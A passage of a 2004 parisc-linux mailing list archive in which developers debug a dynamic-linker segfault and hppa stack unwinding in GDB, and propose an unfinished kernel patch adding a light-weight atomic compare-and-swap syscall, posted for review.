Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-unknown-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `/home/dave/opt/gnu/bin/ld --eh-frame-hdr -dynamic-linker /lib/ld.so.1 -o /home/'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...done.
Loaded symbols for /lib/ld.so.1
#0  0x40008c38 in _dl_unload_cache () from /lib/ld.so.1
(gdb) bt 
#0  0x40008c38 in _dl_unload_cache () from /lib/ld.so.1
#1  0x00000000 in ?? ()
#2  0x00000000 in ?? ()
Previous frame identical to this frame (corrupt stack?)
(gdb) disass 0x40008c38 0x40008c48
Dump of assembler code from 0x40008c38 to 0x40008c48:
0x40008c38 <_dl_unload_cache+104>:      ldb 0(,r26),r20
0x40008c3c <_dl_unload_cache+108>:      cmpib,= 0,r20,0x40008cd4 <_dl_unload_cache+260>
0x40008c40 <_dl_unload_cache+112>:      ldi 0,ret0
0x40008c44 <_dl_unload_cache+116>:      copy r20,ret0
End of assembler dump.
(gdb) disass 0x400097cc 0x400097ec
Dump of assembler code from 0x400097cc to 0x400097ec:
0x400097cc <_dl_lookup_symbol+88>:      copy r25,r12
0x400097d0 <_dl_lookup_symbol+92>:      b,l 0x40008c38 <_dl_unload_cache+104>,rp
0x400097d4 <_dl_lookup_symbol+96>:      copy r26,r9

The above call is actually to _dl_elf_hash but we seem to have lost the
symbol for it (I suppose it got converted to a section symbol) and the
debug information for it.  _dl_elf_hash is static.

I believe gdb thinks that the exception occured in _dl_lookup_symbol.

(gdb) disass _dl_unload_cache
Dump of assembler code for function _dl_unload_cache:
0x40008bd0 <_dl_unload_cache+0>:        stw rp,-14(,sp)
0x40008bd4 <_dl_unload_cache+4>:        stw,ma r4,40(,sp)

(gdb) p/x *($sp - 0x40 - 0x14)
$4 = 0x0

There is no frame for _dl_elf_hash, so obviously gdb isn't going to
unwind correctly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] expect hang with 2.6.7-pa14 #1
Date: Fri, 30 Jul 2004 15:03:55 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200407301903.i6UJ3uhi008711@hiauly1.hia.nrc.ca>
References: <20040730183148.GH546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623510 10298 80.91.229.3 (22 Nov 2014 02:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25870 invoked by uid 65534); 30 Jul 2004 19:04:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 30 Jul 2004 21:04:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BF733BEE1; Fri, 30 Jul 2004 13:04:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14943-04; Fri, 30 Jul 2004 13:04:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 90E913BED9; Fri, 30 Jul 2004 13:04:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EE9C3BED7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:03:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14943-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:03:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AA2613BED4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:03:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6UJ3uCp008713; Fri, 30 Jul 2004 15:03:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6UJ3uhi008711;
	Fri, 30 Jul 2004 15:03:56 -0400 (EDT)
In-Reply-To: <20040730183148.GH546@tausq.org> from "Randolph Chung" at Jul 30,
	2004 11:31:48 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21839

> > Readelf doesn't seem to know about .PARISC.unwind:
> > 
> > $ readelf -u /lib/ld.so.1
> > There are no unwind sections in this file.
> 
> yeah, this is on my list of things to fix :)

Here is the unwind table entry.

(gdb) maintenance print unwind 0x40008c38
unwind_table_entry (0x3d2d20):
        region_start = 0x40008c38 <_dl_unload_cache+104>
	region_end = 0x40008cd4 <_dl_unload_cache+260>
	flags =
	Region_description = 0x1
	Entry_FR = 0x0
	Entry_GR = 0x0
	Total_frame_size = 0x0

For some reason, the above command generates some garbage
the second time.  However, here is the descriptor for
_dl_unload_cache:

(gdb) maintenance print unwind 0x40008c00
unwind_table_entry (0x3d2d0c):
	region_start = 0x40008bd0 <_dl_unload_cache>
	region_end = 0x40008c34 <_dl_unload_cache+100>
	flags = Save_RP
	Region_description = 0x1
	Entry_FR = 0x0
	Entry_GR = 0x1
	Total_frame_size = 0x8

So, the decriptors seem ok although we have lost the name
of _dl_elf_hash.  We need to use %rp to get the address of
the caller in this case.  This can address can then be used
to get the unwind descriptor for the caller.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] expect hang with 2.6.7-pa14 #1
Date: Fri, 30 Jul 2004 15:45:17 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200407301945.i6UJjIp1008994@hiauly1.hia.nrc.ca>
References: <200407301903.i6UJ3uhi008711@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623510 10303 80.91.229.3 (22 Nov 2014 02:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21069 invoked by uid 65534); 30 Jul 2004 19:46:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 30 Jul 2004 21:46:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 192E03BEE5; Fri, 30 Jul 2004 13:45:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15201-03; Fri, 30 Jul 2004 13:45:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EFEA33BEE0; Fri, 30 Jul 2004 13:45:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECE0B3BED9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:45:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14940-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:45:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A7AD43BED8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 13:45:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6UJjICp008995; Fri, 30 Jul 2004 15:45:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6UJjIp1008994;
	Fri, 30 Jul 2004 15:45:18 -0400 (EDT)
In-Reply-To: <200407301903.i6UJ3uhi008711@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jul 30, 2004 03:03:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21840

> Here is the unwind table entry.
> 
> (gdb) maintenance print unwind 0x40008c38
> unwind_table_entry (0x3d2d20):
>         region_start = 0x40008c38 <_dl_unload_cache+104>
> 	region_end = 0x40008cd4 <_dl_unload_cache+260>
> 	flags =
> 	Region_description = 0x1
> 	Entry_FR = 0x0
> 	Entry_GR = 0x0
> 	Total_frame_size = 0x0
> 
> (gdb) maintenance print unwind 0x40008c00
> unwind_table_entry (0x3d2d0c):
> 	region_start = 0x40008bd0 <_dl_unload_cache>
> 	region_end = 0x40008c34 <_dl_unload_cache+100>
> 	flags = Save_RP
> 	Region_description = 0x1
> 	Entry_FR = 0x0
> 	Entry_GR = 0x1
> 	Total_frame_size = 0x8

As I suspected, there is confusion regarding which unwind descriptor
to use:

(gdb) bt
#0  0x40008c38 in _dl_unload_cache () from /lib/ld.so.1
{ hppa_frame_cache (frame=-1) -> { find_unwind_entry 0x40008bd0 -> 0x3d2d0c (cached) }
{ find_unwind_entry 0x40008bd0 -> 0x3d2d0c (cached) }
{ find_unwind_entry 0x40008bd0 -> 0x3d2d0c (cached) }
 (this_sp=0xbff037c0, pc=0x40008c38, prologue_end=0x40008bd8)  (base=0xbff03780) [unwind adjust] } base=0xbff03780 }{ hppa_frame_cache (frame=-1) -> base=0xbff03780 (cached) }#1  0x00000000 in ?? ()
 { hppa_frame_cache (frame=-1) -> base=0xbff03780 (cached) }{ hppa_frame_cache (frame=-1) -> base=0xbff03780 (cached) }#2  0x00000000 in ?? ()
 { hppa_frame_cache (frame=-1) -> base=0xbff03780 (cached) }Previous frame identical to this frame (corrupt stack?)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Light-Weight-Syscalls on hppa (atomic CAS,
	maybe fast timing stuff later)!
Date: Sat, 31 Jul 2004 18:07:34 -0400
Lines: 303
Approved: news@gmane.org
Message-ID: <20040731220734.GC31520@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623510 10306 80.91.229.3 (22 Nov 2014 02:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15088 invoked by uid 65534); 31 Jul 2004 22:09:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 01 Aug 2004 00:09:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EBC9B3BE2B; Sat, 31 Jul 2004 16:09:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29397-07; Sat, 31 Jul 2004 16:09:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19D643BE32; Sat, 31 Jul 2004 16:07:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB7B43BE2B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 16:07:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29397-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 16:07:37 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3D2D93BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 16:07:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Br20t-0003Gv-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 18:07:35 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21841


pa,

I need some help:

a. Where do I put the locks for the LWS functions?
b. It currently doesn't work. Crashes trying to load the lws table.
c. Haven't tracked down all the issues wrt user virtual address pointing
   to a page that has been swapped out and what happens on a load of
   that address from kernel priority with interrupts disabled.
   Need to work on this bit.
d. Need to fix CAS to return two values, the CAS return and the status
   return if something went wrong.

Here is the code for all eyes to see, maybe someone catches something I
goofed.

---
#include <stdio.h>
#include <stdlib.h>

#define LWS "0xb0"
#define LWS_CAS 0x0

#define LWS_CLOBBER "r26", "r25", "r24", "r23", "r22", "r20"
#define LWS_INPUT "r" (lwsnum), "r" (in0), "r" (in1), "r" (in2), "r" (in3), "r" (in4)

int lws(int lwsnum, int in0, int in1, int in2, int in3, int in4)
{
  register int retval __asm__ ("%r28");
  register int error __asm__ ("%r21");
        
  asm(
       "copy   %1, %%r26\n"
       "copy   %2, %%r25\n"
       "copy   %3, %%r24\n"
       "copy   %4, %%r23\n"
       "copy   %5, %%r22\n"
       "ble    " LWS "(%%sr2, %%r0)\n"
       "copy   %0, %%r20\n"
       : : LWS_INPUT : LWS_CLOBBER
     );

  if (error != 0)
    {
      printf("Error %d\n", error);
    }
  return retval;
}
	
int main(void)
{
  int ret;
  int casval = 12;
  
  printf("casval = %d\n", casval);	
  printf("calling lws %d\n", LWS_CAS);
  /* Address, Old value, New value */
  ret = lws(LWS_CAS, (int)&casval, 12, 34, -1, -1);
  printf("ret = %d, casval = %d\n", ret, casval);
  exit(0);

}
---
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.12
diff -u -p -r1.12 syscall.S
--- arch/parisc/kernel/syscall.S	26 Apr 2004 15:57:53 -0000	1.12
+++ arch/parisc/kernel/syscall.S	31 Jul 2004 22:03:12 -0000
@@ -16,6 +16,8 @@
 #include <asm/assembly.h>
 #include <asm/processor.h>
 
+#include <linux/config.h> /* for CONFIG_SMP */
+
 #ifdef __LP64__
 	.level          2.0w
 #else
@@ -38,21 +40,79 @@
 	.align 4096
 linux_gateway_page:
 
-	.rept 56
+        /* ADDRESS 0x00 to 0xb0 = 176 bytes / 4 bytes per insn = 44 insns */
+	.rept 44
 	break   0,0
 	.endr
 
+        /* ADDRESS 0xb0 to 0xd8, lws uses 10 insns for entry */
+        /* Light-weight-syscall entry must always be located at 0xb0 
+
+                r20 - lws number
+                r26,r25,r24,r23,r22 - Input registers
+                r28,r21 - Return register
+
+                Scracth: r1, r28, r21
+
+                Return pointer: r31 (Not usable)
+         */
+
+/* WARNING: Keep this number updated with table size changes */
+#define __NR_lws_entries (2)
+#define __lws_size (lws_end_table - lws_table)
+#if defined(__LP64__)
+#  define LWS_ENTRY(_name_) .dword lws_##_name_
+#else
+#  define LWS_ENTRY(_name_) .word lws_##_name_
+#endif
+
+lws_entry:
+        /* Gate and ensure we return to userspace */
+        gate   .+8, %r0
+        depi   3, 31, 2, %r31
+
+        /* Is the lws entry number valid? */
+	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	b,n	.Llws_nosys
+
+        /* Load table start */
+	ldil	L%lws_table, %r1
+	ldo     R%lws_table(%r1), %r28  /* Scratch use of r28 */
+
+#if defined(__LP64__)
+	ldd,s   %r20(%r28), %r20
+#else
+	ldwx,s  %r20(%r28), %r20
+#endif
+        /* Jump to lws */
+	be,n    0(%sr7,%r20)
+        /* WARNING: lws must issue the return to userspace! */
+
+.Llws_nosys:
+        /* Return to userspace */
+        be      0(%sr7, %r31)
+	ldo	-ENOSYS(%r0),%r28		   /* set errno */
+        
+        /* Fill from 0xd8 to 0xe0 */
+        .rept 2
+        break   0,0
+        .endr
+
+        /* This function MUST be located at 0xe0 for glibc's threading 
+           mechanism to work. DO NOT MOVE THIS CODE EVER! */
 set_thread_pointer:
 	gate	.+8, %r0		/* increase privilege */
 	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 	be	0(%sr7,%r31)		/* return to user space */
 	mtctl	%r26, %cr27		/* move arg0 to the control register */
 
+        /* Increase the chance of trapping if random jumps occur to this
+           address, fill from 0xf0 to 0x100 */
 	.rept 4
 	break   0,0
 	.endr
 
-/* This address must remain fixed, or user binaries go splat. */
+/* This address must remain fixed at 0x100 for glibc's syscalls to work */
 	.align 256
 linux_gateway_entry:
 	gate	.+8, %r0			/* become privileged */
@@ -344,6 +404,134 @@ tracesys_sigexit:
 	ldil	L%syscall_exit_rfi,%r1
 	be,n	R%syscall_exit_rfi(%sr7,%r1)
 
+
+        /* Light-weight-syscall table */
+
+
+/* Start of lws table */
+lws_table:
+        LWS_ENTRY(compare_and_swap)     /* 0 - Atomic compare and swap */
+lws_end_table:
+/* End of lws table */
+
+
+lws_compare_and_swap:
+        /*
+                Implementing CAS as an atomic operation:
+
+                %r26 - Address to examine
+                %r25 - Old value to check (old)
+                %r24 - New value to set (new)
+                %r28 - Return prev through this register.
+        
+                Scratch: r20, r28, r1
+        */
+       
+
+        /* Test for permission to read from the address */
+
+        ldo    3(%r0), %r20
+#if defined(__LP64__)
+        probe,r  (%sr0,%r26), %r20, %r28
+#else
+        prober  (%sr0,%r26), %r20, %r28
+#endif
+        cmpb,<>,n %r0, %r28, cas_testwrite
+        be     0(%sr7, %r31)                       /* return to userspace */
+	ldo    -EINVAL(%r0),%r28		   /* set errno */
+
+cas_testwrite:
+
+        /* Test for permission to write to the address */
+
+#if defined(__LP64__)
+        probe,w  (%sr0,%r26), %r20, %r28
+#else
+        probew  (%sr0,%r26), %r20, %r28
+#endif
+        cmpb,<>,n %r0, %r28, cas_continue
+        be     0(%sr7, %r31)                       /* return to userspace */
+	ldo    -EINVAL(%r0),%r28		   /* set errno */
+
+cas_continue:
+
+#ifdef CONFIG_SMP
+        /* Load start of lock table */
+        ldil   L%lock_start, %r20
+        ldo    R%lock_start(%r20), %r28
+
+        /* Extract four bits from r26 and hash lock (Bits 4-7) */
+        extru  %r26, 27, 4, %r20
+
+        /* Find lock to use, the hash is either one of 0 to
+           15, multiplied by 16 (keep it 16-byte aligned)
+           and add to the lock table offset. */
+        shlw   %r20, 4, %r20
+        add    %r20, %r28, %r20
+#endif
+
+cas_lock_loop:
+        rsm   PSW_SM_I, %r0
+
+
+#ifdef CONFIG_SMP
+        ldcw  0(%r20), %r28
+        cmpb,<>,n %r0, %r28, cas_action
+        ssm   PSW_SM_I, %r0
+        ldw   0(%r20), %r28
+cas_read_loop:
+        cmpb,=,n %r0, %r28, cas_read_loop
+        ldw   0(%r20), %r28
+        b     cas_lock_loop
+#endif
+
+        /*
+                prev = *addr;
+                if ( prev == old )
+                        *addr = new;
+                return prev;
+        */
+
+cas_action:
+        ldw   0(%r26), %r28
+        sub,<>   %r28, %r25, %r0
+        stw   %r24, 0(%r26)
+
+#ifdef CONFIG_SMP
+        /* Store ANY non-zero value to the lock */
+        stw   %r20, 0(%r20)
+#endif
+
+end_compare_and_swap:
+        /* Return to userspace */
+        be    0(%sr7, %r31)
+        /* Privelege decrease occurs at the branch target. */
+        ssm   PSW_SM_I, %r0
+
+
+	/* Make sure nothing else is placed on this page */
+
+	.align 4096
+	.export end_linux_gateway_page
+end_linux_gateway_page:
+
+        .align 4096
+lock_start:
+        /*
+                All light-weight-syscall atomic operations 
+                will use this set of locks 
+        */
+
+        /* lws locks */
+        .align 16
+        .rept 16
+        /* Keep locks aligned at 16-bytes */
+        .word 1
+        .word 1
+        .word 1
+        .word 1
+        .endr
+
 	.align 4096
 	.export sys_call_table
 .Lsys_call_table:
@@ -359,10 +547,4 @@ sys_call_table64:
 #include "syscall_table.S"
 #endif
 
-
-	/* Make sure nothing else is placed on this page */

From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Reorder compat structure placement and casting
	(firmware.c)?
Date: Sun, 1 Aug 2004 00:50:32 -0400
Lines: 117
Approved: news@gmane.org
Message-ID: <20040801045032.GE31520@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623511 10307 80.91.229.3 (22 Nov 2014 02:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7155 invoked by uid 65534); 1 Aug 2004 04:52:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 01 Aug 2004 06:52:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4661C3BE4C; Sat, 31 Jul 2004 22:52:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00458-10; Sat, 31 Jul 2004 22:52:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1ACE53BE4B; Sat, 31 Jul 2004 22:50:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 623903BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 22:50:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
